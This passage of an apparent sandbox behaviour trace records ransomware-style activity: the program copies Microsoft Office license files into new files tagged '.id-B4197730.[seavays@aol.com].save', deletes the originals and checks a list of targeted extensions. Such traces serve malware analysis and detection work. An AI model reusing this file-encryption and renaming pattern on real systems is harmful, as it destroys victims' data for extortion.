Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.771] GetLastError () returned 0x0 [0183.771] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0183.773] WriteFile (in: hFile=0x2a8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0183.774] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.774] WriteFile (in: hFile=0x2a8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0183.774] SetEndOfFile (hFile=0x2a8) returned 1 [0183.775] CloseHandle (hObject=0x2a8) returned 1 [0183.775] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.775] SetEndOfFile (hFile=0x36c) returned 1 [0183.778] CloseHandle (hObject=0x36c) returned 1 [0183.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0183.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0183.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0183.779] lstrlenW (lpString=".doc") returned 4 [0183.779] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.779] lstrlenW (lpString=".docx") returned 5 [0183.779] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.779] lstrlenW (lpString=".pdf") returned 4 [0183.779] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.779] lstrlenW (lpString=".xls") returned 4 [0183.779] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString=".xlsx") returned 5 [0183.780] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.780] lstrlenW (lpString=".ppt") returned 4 [0183.780] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0183.780] lstrlenW (lpString=".zip") returned 4 [0183.780] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString=".rar") returned 4 [0183.780] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString=".bz2") returned 4 [0183.780] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString=".7z") returned 3 [0183.780] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0183.780] lstrlenW (lpString=".dbf") returned 4 [0183.780] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0183.780] lstrlenW (lpString=".1cd") returned 4 [0183.780] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0183.780] lstrlenW (lpString=".jpg") returned 4 [0183.780] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.782] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10679) returned 1 [0183.782] CloseHandle (hObject=0x36c) returned 1 [0183.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0183.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.783] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.783] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.785] GetLastError () returned 0x0 [0183.785] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x29b7, lpOverlapped=0x0) returned 1 [0183.787] WriteFile (in: hFile=0x2a8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x29c0, lpOverlapped=0x0) returned 1 [0183.788] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.788] WriteFile (in: hFile=0x2a8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11c, lpOverlapped=0x0) returned 1 [0183.789] SetEndOfFile (hFile=0x2a8) returned 1 [0183.789] CloseHandle (hObject=0x2a8) returned 1 [0183.789] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.789] SetEndOfFile (hFile=0x36c) returned 1 [0184.089] CloseHandle (hObject=0x36c) returned 1 [0184.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0184.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0184.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0184.354] lstrlenW (lpString=".doc") returned 4 [0184.354] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString=".docx") returned 5 [0184.354] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.354] lstrlenW (lpString=".pdf") returned 4 [0184.354] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString=".xls") returned 4 [0184.354] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString=".xlsx") returned 5 [0184.354] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.354] lstrlenW (lpString=".ppt") returned 4 [0184.354] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0184.354] lstrlenW (lpString=".zip") returned 4 [0184.354] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString=".rar") returned 4 [0184.354] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString=".bz2") returned 4 [0184.354] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString=".7z") returned 3 [0184.354] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0184.354] lstrlenW (lpString=".dbf") returned 4 [0184.354] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0184.354] lstrlenW (lpString=".1cd") returned 4 [0184.354] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0184.355] lstrlenW (lpString=".jpg") returned 4 [0184.355] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.356] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10667) returned 1 [0184.356] CloseHandle (hObject=0x374) returned 1 [0184.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0184.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.358] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.358] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.359] GetLastError () returned 0x0 [0184.359] ReadFile (in: hFile=0x374, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0184.362] WriteFile (in: hFile=0x384, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.363] ReadFile (in: hFile=0x374, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.363] WriteFile (in: hFile=0x384, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0184.363] SetEndOfFile (hFile=0x384) returned 1 [0184.363] CloseHandle (hObject=0x384) returned 1 [0184.364] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.364] SetEndOfFile (hFile=0x374) returned 1 [0184.368] CloseHandle (hObject=0x374) returned 1 [0184.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0184.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.371] lstrlenW (lpString=".doc") returned 4 [0184.371] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.371] lstrlenW (lpString=".docx") returned 5 [0184.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.371] lstrlenW (lpString=".pdf") returned 4 [0184.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.371] lstrlenW (lpString=".xls") returned 4 [0184.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.371] lstrlenW (lpString=".xlsx") returned 5 [0184.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.371] lstrlenW (lpString=".ppt") returned 4 [0184.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.371] lstrlenW (lpString=".zip") returned 4 [0184.371] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.371] lstrlenW (lpString=".rar") returned 4 [0184.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.371] lstrlenW (lpString=".bz2") returned 4 [0184.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.372] lstrlenW (lpString=".7z") returned 3 [0184.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.372] lstrlenW (lpString=".dbf") returned 4 [0184.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.372] lstrlenW (lpString=".1cd") returned 4 [0184.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0184.372] lstrlenW (lpString=".jpg") returned 4 [0184.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.373] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=22094) returned 1 [0184.373] CloseHandle (hObject=0x374) returned 1 [0184.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0184.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.375] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.375] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.377] GetLastError () returned 0x0 [0184.377] ReadFile (in: hFile=0x374, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x564e, lpOverlapped=0x0) returned 1 [0184.381] WriteFile (in: hFile=0x384, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5650, lpOverlapped=0x0) returned 1 [0184.383] ReadFile (in: hFile=0x374, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.383] WriteFile (in: hFile=0x384, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x118, lpOverlapped=0x0) returned 1 [0184.383] SetEndOfFile (hFile=0x384) returned 1 [0184.383] CloseHandle (hObject=0x384) returned 1 [0184.384] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.384] SetEndOfFile (hFile=0x374) returned 1 [0184.388] CloseHandle (hObject=0x374) returned 1 [0184.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.390] lstrlenW (lpString=".doc") returned 4 [0184.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.390] lstrlenW (lpString=".docx") returned 5 [0184.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.390] lstrlenW (lpString=".pdf") returned 4 [0184.818] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.818] lstrlenW (lpString=".xls") returned 4 [0184.818] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.818] lstrlenW (lpString=".xlsx") returned 5 [0184.818] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.818] lstrlenW (lpString=".ppt") returned 4 [0184.818] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.818] lstrlenW (lpString=".zip") returned 4 [0184.818] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.818] lstrlenW (lpString=".rar") returned 4 [0184.818] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.819] lstrlenW (lpString=".bz2") returned 4 [0184.819] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.819] lstrlenW (lpString=".7z") returned 3 [0184.819] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.819] lstrlenW (lpString=".dbf") returned 4 [0184.819] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.819] lstrlenW (lpString=".1cd") returned 4 [0184.819] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0184.819] lstrlenW (lpString=".jpg") returned 4 [0184.819] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.009] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.009] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.325] GetLastError () returned 0x0 [0187.325] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0187.340] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0187.342] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.342] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0187.342] SetEndOfFile (hFile=0x530) returned 1 [0187.342] CloseHandle (hObject=0x530) returned 1 [0187.342] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.342] SetEndOfFile (hFile=0x550) returned 1 [0187.347] CloseHandle (hObject=0x550) returned 1 [0187.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft 